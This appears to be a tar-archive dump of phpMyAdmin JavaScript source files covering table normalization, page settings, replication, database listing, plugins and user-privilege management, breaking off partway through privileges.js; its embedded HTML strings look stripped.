            ' + Messages.strNoPdSelected + '

            '; extra += '
            '; } else { extra += '
            '; var datastring = { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'pd': JSON.stringify(pd), 'getNewTables2NF':1 }; $.ajax({ type: 'POST', url: 'index.php?route=/normalization', data: datastring, async:false, success: function (data) { if (data.success === true) { extra += data.message; } else { Functions.ajaxShowMessage(data.error, false); } } }); } $('#mainContent #extra').html(extra); $('.tblFooters').html(''); $('#goTo2NFFinish').on('click', function () { goTo2NFFinish(pd); }); } function goTo3NFStep2 (pd, tablesTds) { $('#newCols').html(''); $('#mainContent legend').html(Messages.strStep + ' 3.2 ' + Messages.strConfirmTd); $('#mainContent h4').html(Messages.strSelectedTd); $('#mainContent p').html(Messages.strPdHintNote); var extra = '
            '; var pdFound = false; for (var table in tablesTds) { for (var i in tablesTds[table]) { var dependson = tablesTds[table][i]; if (dependson !== '' && dependson !== table) { pdFound = true; extra += '

            ' + Functions.escapeHtml(dependson) + ' -> ' + Functions.escapeHtml(pd[dependson].toString()) + '

            '; } } } if (!pdFound) { extra += '

            ' + Messages.strNoTdSelected + '

            '; extra += '
            '; } else { extra += '
            '; var datastring = { 'ajax_request': true, 'db': CommonParams.get('db'), 'tables': JSON.stringify(tablesTds), 'server': CommonParams.get('server'), 'pd': JSON.stringify(pd), 'getNewTables3NF':1 }; $.ajax({ type: 'POST', url: 'index.php?route=/normalization', data: datastring, async:false, success: function (data) { dataParsed = data; if (data.success === true) { extra += dataParsed.html; } else { Functions.ajaxShowMessage(data.error, false); } } }); } $('#mainContent #extra').html(extra); $('.tblFooters').html(''); $('#goTo3NFFinish').on('click', function () { if (!pdFound) { goTo3NFFinish([]); } else { goTo3NFFinish(dataParsed.newTables); } }); } function processDependencies (primaryKey, isTransitive) { var pk = primaryKey; var pd = {}; var tablesTds = {}; var dependsOn; pd[pk] = []; $('#extra form').each(function () { var tblname; if (isTransitive === true) { tblname = $(this).data('tablename'); pk = tblname; if (!(tblname in tablesTds)) { tablesTds[tblname] = []; } tablesTds[tblname].push(pk); } var formId = $(this).attr('id'); $('#' + formId + ' input[type=checkbox]:not(:checked)').prop('checked', false); dependsOn = ''; $('#' + formId + ' input[type=checkbox]:checked').each(function () { dependsOn += $(this).val() + ', '; $(this).attr('checked','checked'); }); if (dependsOn === '') { dependsOn = pk; } else { dependsOn = dependsOn.slice(0, -2); } if (! (dependsOn in pd)) { pd[dependsOn] = []; } pd[dependsOn].push($(this).data('colname')); if (isTransitive === true) { if (!(tblname in tablesTds)) { tablesTds[tblname] = []; } if ($.inArray(dependsOn, tablesTds[tblname]) === -1) { tablesTds[tblname].push(dependsOn); } } }); backup = $('#mainContent').html(); if (isTransitive === true) { goTo3NFStep2(pd, tablesTds); } else { goTo2NFStep2(pd, pk); } return false; } function moveRepeatingGroup (repeatingCols) { var newTable = $('input[name=repeatGroupTable]').val(); var newColumn = $('input[name=repeatGroupColumn]').val(); if (!newTable) { $('input[name=repeatGroupTable]').trigger('focus'); return false; } if (!newColumn) { $('input[name=repeatGroupColumn]').trigger('focus'); return false; } var datastring = { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'repeatingColumns': repeatingCols, 'newTable':newTable, 'newColumn':newColumn, 'primary_columns':primaryKey.toString() }; $.ajax({ type: 'POST', url: 'index.php?route=/normalization', data: datastring, async:false, success: function (data) { if (data.success === true) { if (data.queryError === false) { goToStep3(); } Functions.ajaxShowMessage(data.message, false); $('#pma_navigation_reload').trigger('click'); } else { Functions.ajaxShowMessage(data.error, false); } } }); } AJAX.registerTeardown('normalization.js', function () { $('#extra').off('click', '#selectNonAtomicCol'); $('#splitGo').off('click'); $('.tblFooters').off('click', '#saveSplit'); $('#extra').off('click', '#addNewPrimary'); $('.tblFooters').off('click', '#saveNewPrimary'); $('#extra').off('click', '#removeRedundant'); $('#mainContent p').off('click', '#createPrimaryKey'); $('#mainContent').off('click', '#backEditPd'); $('#mainContent').off('click', '#showPossiblePd'); $('#mainContent').off('click', '.pickPd'); }); AJAX.registerOnload('normalization.js', function () { var selectedCol; normalizeto = $('#mainContent').data('normalizeto'); $('#extra').on('click', '#selectNonAtomicCol', function () { if ($(this).val() === 'no_such_col') { goToStep2(); } else { selectedCol = $(this).val(); } }); $('#splitGo').on('click', function () { if (!selectedCol || selectedCol === '') { return false; } var numField = $('#numField').val(); $.post( 'index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'splitColumn': true, 'numFields': numField }, function (data) { if (data.success === true) { $('#newCols').html(data.message); $('.default_value').hide(); $('.enum_notice').hide(); $('') .attr({ type: 'submit', id: 'saveSplit', value: Messages.strSave, class: 'btn btn-primary' }) .appendTo('.tblFooters'); $('') .attr({ type: 'submit', id: 'cancelSplit', value: Messages.strCancel, class: 'btn btn-secondary' }) .on('click', function () { $('#newCols').html(''); $(this).parent().html(''); }) .appendTo('.tblFooters'); } } ); return false; }); $('.tblFooters').on('click','#saveSplit', function () { centralColumnList = []; if ($('#newCols #field_0_1').val() === '') { $('#newCols #field_0_1').trigger('focus'); return false; } var argsep = CommonParams.get('arg_separator'); var datastring = $('#newCols :input').serialize(); datastring += argsep + 'ajax_request=1' + argsep + 'do_save_data=1' + argsep + 'field_where=last'; $.post('index.php?route=/table/add-field', datastring, function (data) { if (data.success) { $.post( 'index.php?route=/sql', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'dropped_column': selectedCol, 'purge' : 1, 'sql_query': 'ALTER TABLE `' + CommonParams.get('table') + '` DROP `' + selectedCol + '`;', 'is_js_confirmed': 1 }, function (data) { if (data.success === true) { appendHtmlColumnsList(); $('#newCols').html(''); $('.tblFooters').html(''); } else { Functions.ajaxShowMessage(data.error, false); } selectedCol = ''; } ); } else { Functions.ajaxShowMessage(data.error, false); } }); }); $('#extra').on('click', '#addNewPrimary', function () { $.post( 'index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'addNewPrimary': true }, function (data) { if (data.success === true) { $('#newCols').html(data.message); $('.default_value').hide(); $('.enum_notice').hide(); $('') .attr({ type: 'submit', id: 'saveNewPrimary', value: Messages.strSave, class: 'btn btn-primary' }) .appendTo('.tblFooters'); $('') .attr({ type: 'submit', id: 'cancelSplit', value: Messages.strCancel, class: 'btn btn-secondary' }) .on('click', function () { $('#newCols').html(''); $(this).parent().html(''); }) .appendTo('.tblFooters'); } else { Functions.ajaxShowMessage(data.error, false); } } ); return false; }); $('.tblFooters').on('click', '#saveNewPrimary', function () { var datastring = $('#newCols :input').serialize(); var argsep = CommonParams.get('arg_separator'); datastring += argsep + 'field_key[0]=primary_0' + argsep + 'ajax_request=1' + argsep + 'do_save_data=1' + argsep + 'field_where=last'; $.post('index.php?route=/table/add-field', datastring, function (data) { if (data.success === true) { $('#mainContent h4').html(Messages.strPrimaryKeyAdded); $('#mainContent p').html(Messages.strToNextStep); $('#mainContent #extra').html(''); $('#mainContent #newCols').html(''); $('.tblFooters').html(''); setTimeout(function () { goToStep3(); }, 2000); } else { Functions.ajaxShowMessage(data.error, false); } }); }); $('#extra').on('click', '#removeRedundant', function () { var dropQuery = 'ALTER TABLE `' + CommonParams.get('table') + '` '; $('#extra input[type=checkbox]:checked').each(function () { dropQuery += 'DROP `' + $(this).val() + '`, '; }); dropQuery = dropQuery.slice(0, -2); $.post( 'index.php?route=/sql', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'sql_query': dropQuery, 'is_js_confirmed': 1 }, function (data) { if (data.success === true) { goToStep2('goToFinish1NF'); } else { Functions.ajaxShowMessage(data.error, false); } } ); }); $('#extra').on('click', '#moveRepeatingGroup', function () { var repeatingCols = ''; $('#extra input[type=checkbox]:checked').each(function () { repeatingCols += $(this).val() + ', '; }); if (repeatingCols !== '') { var newColName = $('#extra input[type=checkbox]:checked').first().val(); repeatingCols = repeatingCols.slice(0, -2); var confirmStr = Functions.sprintf(Messages.strMoveRepeatingGroup, Functions.escapeHtml(repeatingCols), Functions.escapeHtml(CommonParams.get('table'))); confirmStr += '' + '( ' + Functions.escapeHtml(primaryKey.toString()) + ', )' + ''; $('#newCols').html(confirmStr); $('') .attr({ type: 'submit', value: Messages.strCancel, class: 'btn btn-secondary' }) .on('click', function () { $('#newCols').html(''); $('#extra input[type=checkbox]').prop('checked', false); }) .appendTo('.tblFooters'); $('') .attr({ type: 'submit', value: Messages.strGo, class: 'btn btn-primary' }) .on('click', function () { moveRepeatingGroup(repeatingCols); }) .appendTo('.tblFooters'); } }); $('#mainContent p').on('click', '#createPrimaryKey', function (event) { event.preventDefault(); var url = { 'create_index': 1, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'added_fields': 1, 'add_fields':1, 'index': { 'Key_name':'PRIMARY' }, 'ajax_request': true }; var title = Messages.strAddPrimaryKey; Functions.indexEditorDialog(url, title, function () { // on success $('.sqlqueryresults').remove(); $('.result_query').remove(); $('.tblFooters').html(''); goToStep2('goToStep3'); }); return false; }); $('#mainContent').on('click', '#backEditPd', function () { $('#mainContent').html(backup); }); $('#mainContent').on('click', '#showPossiblePd', function () { if ($(this).hasClass('hideList')) { $(this).html('+ ' + Messages.strShowPossiblePd); $(this).removeClass('hideList'); $('#newCols').slideToggle('slow'); return false; } if ($('#newCols').html() !== '') { $('#showPossiblePd').html('- ' + Messages.strHidePd); $('#showPossiblePd').addClass('hideList'); $('#newCols').slideToggle('slow'); return false; } $('#newCols').insertAfter('#mainContent h4'); $('#newCols').html('
            ' + Messages.strLoading + '
            ' + Messages.strWaitForPd + '
            '); $.post( 'index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'findPdl': true }, function (data) { $('#showPossiblePd').html('- ' + Messages.strHidePd); $('#showPossiblePd').addClass('hideList'); $('#newCols').html(data.message); }); }); $('#mainContent').on('click', '.pickPd', function () { var strColsLeft = $(this).next('.determinants').html(); var colsLeft = strColsLeft.split(','); var strColsRight = $(this).next().next().html(); var colsRight = strColsRight.split(','); for (var i in colsRight) { $('form[data-colname="' + colsRight[i].trim() + '"] input[type="checkbox"]').prop('checked', false); for (var j in colsLeft) { $('form[data-colname="' + colsRight[i].trim() + '"] input[value="' + colsLeft[j].trim() + '"]').prop('checked', true); } } }); }); ol.mjs000066600000002033151724624350005704 0ustar00import { Attribution, MousePosition, Zoom } from 'ol/control.js'; import { createStringXY } from 'ol/coordinate.js'; import { boundingExtent } from 'ol/extent.js'; import { LineString, LinearRing, MultiLineString, MultiPoint, MultiPolygon, Point, Polygon } from 'ol/geom.js'; import { Tile, Vector as VectorLayer } from 'ol/layer.js'; import { fromLonLat, get, transformExtent } from 'ol/proj.js'; import { OSM, Vector as VectorSource } from 'ol/source.js'; import { Circle, Fill, Stroke, Style, Text } from 'ol/style.js'; import { Feature, Map, View } from 'ol'; const ol = { control: { Attribution, MousePosition, Zoom }, coordinate: { createStringXY }, extent: { boundingExtent }, geom: { LineString, LinearRing, MultiLineString, MultiPoint, MultiPolygon, Point, Polygon }, layer: { Tile, Vector: VectorLayer }, proj: { fromLonLat, get, transformExtent }, source: { OSM, Vector: VectorSource }, style: { Circle, Fill, Stroke, Style, Text }, Feature, Map, View } export default ol;page_settings.js000066600000004006151724624350007753 0ustar00/** * @fileoverview function used for page-related settings * @name Page-related settings * * @requires jQuery * @requires jQueryUI * @required js/functions.js */ function showSettings (selector) { var buttons = { [Messages.strApply]: { text: Messages.strApply, class: 'btn btn-primary', }, [Messages.strCancel]: { text: Messages.strCancel, class: 'btn btn-secondary', }, }; buttons[Messages.strApply].click = function () { $('.config-form').trigger('submit'); }; buttons[Messages.strCancel].click = function () { $(this).dialog('close'); }; // Keeping a clone to restore in case the user cancels the operation var $clone = $(selector + ' .page_settings').clone(true); $(selector) .dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strPageSettings, width: 700, minHeight: 250, modal: true, open: function () { $(this).dialog('option', 'maxHeight', $(window).height() - $(this).offset().top); }, close: function () { $(selector + ' .page_settings').replaceWith($clone); }, buttons: buttons }); } function showPageSettings () { showSettings('#page_settings_modal'); } function showNaviSettings () { showSettings('#pma_navigation_settings'); } AJAX.registerTeardown('page_settings.js', function () { $('#page_settings_icon').css('display', 'none'); $('#page_settings_icon').off('click'); $('#pma_navigation_settings_icon').off('click'); }); AJAX.registerOnload('page_settings.js', function () { if ($('#page_settings_modal').length) { $('#page_settings_icon').css('display', 'inline'); $('#page_settings_icon').on('click', showPageSettings); } $('#pma_navigation_settings_icon').on('click', showNaviSettings); }); replication.js000066600000007333151724624350007436 0ustar00/** * @fileoverview Javascript functions used in server replication page * @name Server Replication * * @requires jQuery * @requires jQueryUI * @requires js/functions.js */ var randomServerId = Math.floor(Math.random() * 10000000); var confPrefix = 'server-id=' + randomServerId + '\nlog_bin=mysql-bin\nlog_error=mysql-bin.err\n'; function updateConfig () { var confIgnore = 'binlog_ignore_db='; var confDo = 'binlog_do_db='; var databaseList = ''; if ($('#db_select option:selected').length === 0) { $('#rep').text(confPrefix); } else if ($('#db_type option:selected').val() === 'all') { $('#db_select option:selected').each(function () { databaseList += confIgnore + $(this).val() + '\n'; }); $('#rep').text(confPrefix + databaseList); } else { $('#db_select option:selected').each(function () { databaseList += confDo + $(this).val() + '\n'; }); $('#rep').text(confPrefix + databaseList); } } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('replication.js', function () { $('#db_type').off('change'); $('#db_select').off('change'); $('#primary_status_href').off('click'); $('#primary_replicas_href').off('click'); $('#replica_status_href').off('click'); $('#replica_control_href').off('click'); $('#replica_errormanagement_href').off('click'); $('#replica_synchronization_href').off('click'); $('#db_reset_href').off('click'); $('#db_select_href').off('click'); $('#reset_replica').off('click'); }); AJAX.registerOnload('replication.js', function () { $('#rep').text(confPrefix); $('#db_type').on('change', updateConfig); $('#db_select').on('change', updateConfig); $('#primary_status_href').on('click', function () { $('#replication_primary_section').toggle(); }); $('#primary_replicas_href').on('click', function () { $('#replication_replicas_section').toggle(); }); $('#replica_status_href').on('click', function () { $('#replication_replica_section').toggle(); }); $('#replica_control_href').on('click', function () { $('#replica_control_gui').toggle(); }); $('#replica_errormanagement_href').on('click', function () { $('#replica_errormanagement_gui').toggle(); }); $('#replica_synchronization_href').on('click', function () { $('#replica_synchronization_gui').toggle(); }); $('#db_reset_href').on('click', function () { $('#db_select option:selected').prop('selected', false); $('#db_select').trigger('change'); }); $('#db_select_href').on('click', function () { $('#db_select option').prop('selected', true); $('#db_select').trigger('change'); }); $('#reset_replica').on('click', function (e) { e.preventDefault(); var $anchor = $(this); var question = Messages.strResetReplicaWarning; $anchor.confirm(question, $anchor.attr('href'), function (url) { Functions.ajaxShowMessage(); AJAX.source = $anchor; var params = Functions.getJsConfirmCommonParam({ 'ajax_page_request': true, 'ajax_request': true }, $anchor.getPostData()); $.post(url, params, AJAX.responseHandler); }); }); $('#button_generate_password').on('click', function () { Functions.suggestPassword(this.form); }); $('#nopass_1').on('click', function () { this.form.pma_pw.value = ''; this.form.pma_pw2.value = ''; this.checked = true; }); $('#nopass_0').on('click', function () { document.getElementById('text_pma_change_pw').focus(); }); }); server/databases.js000066600000012263151724624350010360 0ustar00/** * @fileoverview functions used on the server databases list page * @name Server Databases * * @requires jQuery * @requires jQueryUI * @required js/functions.js */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/databases.js', function () { $(document).off('submit', '#dbStatsForm'); $(document).off('submit', '#create_database_form.ajax'); }); /** * AJAX scripts for /server/databases * * Actions ajaxified here: * Drop Databases * */ AJAX.registerOnload('server/databases.js', function () { /** * Attach Event Handler for 'Drop Databases' */ $(document).on('submit', '#dbStatsForm', function (event) { event.preventDefault(); var $form = $(this); /** * @var selected_dbs Array containing the names of the checked databases */ var selectedDbs = []; // loop over all checked checkboxes, except the .checkall_box checkbox $form.find('input:checkbox:checked:not(.checkall_box)').each(function () { $(this).closest('tr').addClass('removeMe'); selectedDbs[selectedDbs.length] = 'DROP DATABASE `' + Functions.escapeHtml($(this).val()) + '`;'; }); if (! selectedDbs.length) { Functions.ajaxShowMessage( $('').text( Messages.strNoDatabasesSelected ), 2000 ); return; } /** * @var question String containing the question to be asked for confirmation */ var question = Messages.strDropDatabaseStrongWarning + ' ' + Functions.sprintf(Messages.strDoYouReally, selectedDbs.join('
            ')); const modal = $('#dropDatabaseModal'); modal.find('.modal-body').html(question); modal.modal('show'); const url = 'index.php?route=/server/databases/destroy&' + $(this).serialize(); $('#dropDatabaseModalDropButton').on('click', function () { Functions.ajaxShowMessage(Messages.strProcessingRequest, false); var parts = url.split('?'); var params = Functions.getJsConfirmCommonParam(this, parts[1]); $.post(parts[0], params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); var $rowsToRemove = $form.find('tr.removeMe'); var $databasesCount = $('#filter-rows-count'); var newCount = parseInt($databasesCount.text(), 10) - $rowsToRemove.length; $databasesCount.text(newCount); $rowsToRemove.remove(); $form.find('tbody').sortTable('.name'); if ($form.find('tbody').find('tr').length === 0) { // user just dropped the last db on this page CommonActions.refreshMain(); } Navigation.reload(); } else { $form.find('tr.removeMe').removeClass('removeMe'); Functions.ajaxShowMessage(data.error, false); } }); modal.modal('hide'); $('#dropDatabaseModalDropButton').off('click'); }); }); /** * Attach Ajax event handlers for 'Create Database'. */ $(document).on('submit', '#create_database_form.ajax', function (event) { event.preventDefault(); var $form = $(this); // TODO Remove this section when all browsers support HTML5 "required" property var newDbNameInput = $form.find('input[name=new_db]'); if (newDbNameInput.val() === '') { newDbNameInput.trigger('focus'); alert(Messages.strFormEmpty); return; } // end remove Functions.ajaxShowMessage(Messages.strProcessingRequest); Functions.prepareForAjaxRequest($form); $.post($form.attr('action'), $form.serialize(), function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); var $databasesCountObject = $('#filter-rows-count'); var databasesCount = parseInt($databasesCountObject.text(), 10) + 1; $databasesCountObject.text(databasesCount); Navigation.reload(); // make ajax request to load db structure page - taken from ajax.js var dbStructUrl = data.url; dbStructUrl = dbStructUrl.replace(/amp;/ig, ''); var params = 'ajax_request=true' + CommonParams.get('arg_separator') + 'ajax_page_request=true'; $.get(dbStructUrl, params, AJAX.responseHandler); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); // end $(document).on() var tableRows = $('.server_databases'); $.each(tableRows, function () { $(this).on('click', function () { CommonActions.setDb($(this).attr('data')); }); }); }); // end $() server/plugins.js000066600000000705151724624350010110 0ustar00/** * Functions used in server plugins pages */ AJAX.registerOnload('server/plugins.js', function () { // Make columns sortable, but only for tables with more than 1 data row var $tables = $('#plugins_plugins table:has(tbody tr + tr)'); $tables.tablesorter({ sortList: [[0, 0]], headers: { 1: { sorter: false } } }); $tables.find('thead th') .append('
            '); }); server/privileges.js000066600000043214151724624350010602 0ustar00/** * @fileoverview functions used in server privilege pages * @name Server Privileges * * @requires jQuery * @requires jQueryUI * @requires js/functions.js * */ /** * Validates the "add a user" form * * @param theForm * * @return {bool} whether the form is validated or not */ function checkAddUser (theForm) { if (theForm.elements.hostname.value === '') { alert(Messages.strHostEmpty); theForm.elements.hostname.focus(); return false; } if ((theForm.elements.pred_username && theForm.elements.pred_username.value === 'userdefined') && theForm.elements.username.value === '') { alert(Messages.strUserEmpty); theForm.elements.username.focus(); return false; } return Functions.checkPassword($(theForm)); } /** * Export privileges modal handler * * @param {object} data * * @param {JQuery} msgbox * */ function exportPrivilegesModalHandler (data, msgbox) { if (typeof data !== 'undefined' && data.success === true) { var modal = $('#exportPrivilegesModal'); // Remove any previous privilege modal data, if any modal.find('.modal-body').first().html(''); $('#exportPrivilegesModalLabel').first().html('Loading'); modal.modal('show'); modal.on('shown.bs.modal', function () { modal.find('.modal-body').first().html(data.message); $('#exportPrivilegesModalLabel').first().html(data.title); Functions.ajaxRemoveMessage(msgbox); // Attach syntax highlighted editor to export dialog Functions.getSqlEditor(modal.find('textarea')); }); return; } Functions.ajaxShowMessage(data.error, false); } /** * @implements EventListener */ const EditUserGroup = { /** * @param {MouseEvent} event */ handleEvent: function (event) { const editUserGroupModal = document.getElementById('editUserGroupModal'); const button = event.relatedTarget; const username = button.getAttribute('data-username'); $.get( 'index.php?route=/server/user-groups/edit-form', { 'username': username, 'server': CommonParams.get('server') }, data => { if (typeof data === 'undefined' || data.success !== true) { Functions.ajaxShowMessage(data.error, false, 'error'); return; } const modal = bootstrap.Modal.getInstance(editUserGroupModal); const modalBody = editUserGroupModal.querySelector('.modal-body'); const saveButton = editUserGroupModal.querySelector('#editUserGroupModalSaveButton'); modalBody.innerHTML = data.message; saveButton.addEventListener('click', () => { const form = $(editUserGroupModal.querySelector('#changeUserGroupForm')); $.post( 'index.php?route=/server/privileges', form.serialize() + CommonParams.get('arg_separator') + 'ajax_request=1', data => { if (typeof data === 'undefined' || data.success !== true) { Functions.ajaxShowMessage(data.error, false, 'error'); return; } const userGroup = form.serializeArray().find(el => el.name === 'userGroup').value; // button -> td -> tr -> td.usrGroup const userGroupTableCell = button.parentElement.parentElement.querySelector('.usrGroup'); userGroupTableCell.textContent = userGroup; } ); modal.hide(); }); } ); } }; /** * @implements EventListener */ const AccountLocking = { handleEvent: function () { const button = this; const isLocked = button.dataset.isLocked === 'true'; const url = isLocked ? 'index.php?route=/server/privileges/account-unlock' : 'index.php?route=/server/privileges/account-lock'; const params = { 'username': button.dataset.userName, 'hostname': button.dataset.hostName, 'ajax_request': true, 'server': CommonParams.get('server'), }; $.post(url, params, data => { if (data.success === false) { Functions.ajaxShowMessage(data.error); return; } if (isLocked) { const lockIcon = Functions.getImage('s_lock', Messages.strLock, {}).toString(); button.innerHTML = '' + lockIcon + ' ' + Messages.strLock + ''; button.title = Messages.strLockAccount; button.dataset.isLocked = 'false'; } else { const unlockIcon = Functions.getImage('s_unlock', Messages.strUnlock, {}).toString(); button.innerHTML = '' + unlockIcon + ' ' + Messages.strUnlock + ''; button.title = Messages.strUnlockAccount; button.dataset.isLocked = 'true'; } Functions.ajaxShowMessage(data.message); }); } }; /** * AJAX scripts for /server/privileges page. * * Actions ajaxified here: * Add user * Revoke a user * Edit privileges * Export privileges * Paginate table of users * Flush privileges * * @memberOf jQuery * @name document.ready */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/privileges.js', function () { $('#fieldset_add_user_login').off('change', 'input[name=\'username\']'); $(document).off('click', '#deleteUserCard .btn.ajax'); const editUserGroupModal = document.getElementById('editUserGroupModal'); if (editUserGroupModal) { editUserGroupModal.removeEventListener('show.bs.modal', EditUserGroup); } $(document).off('click', 'button.mult_submit[value=export]'); $(document).off('click', 'a.export_user_anchor.ajax'); $('button.jsAccountLocking').off('click'); $('#dropUsersDbCheckbox').off('click'); $(document).off('click', '.checkall_box'); $(document).off('change', '#checkbox_SSL_priv'); $(document).off('change', 'input[name="ssl_type"]'); $(document).off('change', '#select_authentication_plugin'); }); AJAX.registerOnload('server/privileges.js', function () { /** * Display a warning if there is already a user by the name entered as the username. */ $('#fieldset_add_user_login').on('change', 'input[name=\'username\']', function () { var username = $(this).val(); var $warning = $('#user_exists_warning'); if ($('#select_pred_username').val() === 'userdefined' && username !== '') { var href = $('form[name=\'usersForm\']').attr('action'); var params = { 'ajax_request' : true, 'server' : CommonParams.get('server'), 'validate_username' : true, 'username' : username }; $.get(href, params, function (data) { if (data.user_exists) { $warning.show(); } else { $warning.hide(); } }); } else { $warning.hide(); } }); /** * Indicating password strength */ $('#text_pma_pw').on('keyup', function () { var meterObj = $('#password_strength_meter'); var meterObjLabel = $('#password_strength'); var username = $('input[name="username"]'); username = username.val(); Functions.checkPasswordStrength($(this).val(), meterObj, meterObjLabel, username); }); /** * Automatically switching to 'Use Text field' from 'No password' once start writing in text area */ $('#text_pma_pw').on('input', function () { if ($('#text_pma_pw').val() !== '') { $('#select_pred_password').val('userdefined'); } }); $('#text_pma_change_pw').on('keyup', function () { var meterObj = $('#change_password_strength_meter'); var meterObjLabel = $('#change_password_strength'); Functions.checkPasswordStrength($(this).val(), meterObj, meterObjLabel, CommonParams.get('user')); }); /** * Display a notice if sha256_password is selected */ $(document).on('change', '#select_authentication_plugin', function () { var selectedPlugin = $(this).val(); if (selectedPlugin === 'sha256_password') { $('#ssl_reqd_warning').show(); } else { $('#ssl_reqd_warning').hide(); } }); /** * AJAX handler for 'Revoke User' * * @see Functions.ajaxShowMessage() * @memberOf jQuery * @name revoke_user_click */ $(document).on('click', '#deleteUserCard .btn.ajax', function (event) { event.preventDefault(); var $thisButton = $(this); var $form = $('#usersForm'); $thisButton.confirm(Messages.strDropUserWarning, $form.attr('action'), function (url) { var $dropUsersDbCheckbox = $('#dropUsersDbCheckbox'); if ($dropUsersDbCheckbox.is(':checked')) { var isConfirmed = confirm(Messages.strDropDatabaseStrongWarning + '\n' + Functions.sprintf(Messages.strDoYouReally, 'DROP DATABASE')); if (! isConfirmed) { // Uncheck the drop users database checkbox $dropUsersDbCheckbox.prop('checked', false); } } Functions.ajaxShowMessage(Messages.strRemovingSelectedUsers); var argsep = CommonParams.get('arg_separator'); $.post(url, $form.serialize() + argsep + 'delete=' + $thisButton.val() + argsep + 'ajax_request=true', function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); // Refresh navigation, if we dropped some databases with the name // that is the same as the username of the deleted user if ($('#dropUsersDbCheckbox:checked').length) { Navigation.reload(); } // Remove the revoked user from the users list $form.find('input:checkbox:checked').parents('tr').slideUp('medium', function () { var thisUserInitial = $(this).find('input:checkbox').val().charAt(0).toUpperCase(); $(this).remove(); // If this is the last user with thisUserInitial, remove the link from #userAccountsPagination if ($('#userRightsTable').find('input:checkbox[value^="' + thisUserInitial + '"], input:checkbox[value^="' + thisUserInitial.toLowerCase() + '"]').length === 0) { $('#userAccountsPagination') .find('.page-item > .page-link:contains(' + thisUserInitial + ')') .parent('.page-item') .addClass('disabled') .html('' + thisUserInitial + ''); } // Re-check the classes of each row $form .find('tbody').find('tr').each(function (index) { if (index >= 0 && index % 2 === 0) { $(this).removeClass('odd').addClass('even'); } else if (index >= 0 && index % 2 !== 0) { $(this).removeClass('even').addClass('odd'); } }); // update the checkall checkbox $(Functions.checkboxesSel).trigger('change'); }); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); }); // end Revoke User const editUserGroupModal = document.getElementById('editUserGroupModal'); if (editUserGroupModal) { editUserGroupModal.addEventListener('show.bs.modal', EditUserGroup); } /** * AJAX handler for 'Export Privileges' * * @see Functions.ajaxShowMessage() * @memberOf jQuery * @name export_user_click */ $(document).on('click', 'button.mult_submit[value=export]', function (event) { event.preventDefault(); // can't export if no users checked if ($(this.form).find('input:checked').length === 0) { Functions.ajaxShowMessage(Messages.strNoAccountSelected, 2000, 'success'); return; } var msgbox = Functions.ajaxShowMessage(); var argsep = CommonParams.get('arg_separator'); var serverId = CommonParams.get('server'); var selectedUsers = $('#usersForm input[name*=\'selected_usr\']:checkbox').serialize(); var postStr = selectedUsers + '&submit_mult=export' + argsep + 'ajax_request=true&server=' + serverId; $.post($(this.form).prop('action'), postStr, function (data) { exportPrivilegesModalHandler(data, msgbox); }); // end $.post }); // if exporting non-ajax, highlight anyways Functions.getSqlEditor($('textarea.export')); $(document).on('click', 'a.export_user_anchor.ajax', function (event) { event.preventDefault(); var msgbox = Functions.ajaxShowMessage(); $.get($(this).attr('href'), { 'ajax_request': true }, function (data) { exportPrivilegesModalHandler(data, msgbox); }); // end $.get }); // end export privileges $('button.jsAccountLocking').on('click', AccountLocking.handleEvent); $(document).on('change', 'input[name="ssl_type"]', function () { var $div = $('#specified_div'); if ($('#ssl_type_SPECIFIED').is(':checked')) { $div.find('input').prop('disabled', false); } else { $div.find('input').prop('disabled', true); } }); $(document).on('change', '#checkbox_SSL_priv', function () { var $div = $('#require_ssl_div'); if ($(this).is(':checked')) { $div.find('input').prop('disabled', false); $('#ssl_type_SPECIFIED').trigger('change'); } else { $div.find('input').prop('disabled', true); } }); $('#checkbox_SSL_priv').trigger('change'); /* * Create submenu for simpler interface */ var addOrUpdateSubmenu = function () { var $subNav = $('.nav-pills'); var $editUserDialog = $('#edit_user_dialog'); var submenuLabel; var submenuLink; var linkNumber; // if submenu exists yet, remove it first if ($subNav.length > 0) { $subNav.remove(); } // construct a submenu from the existing fieldsets $subNav = $('
              ').prop('class', 'nav nav-pills m-2'); $('#edit_user_dialog .submenu-item').each(function () { submenuLabel = $(this).find('legend[data-submenu-label]').data('submenu-label'); submenuLink = $('') .prop('class', 'nav-link') .prop('href', '#') .html(submenuLabel); $('
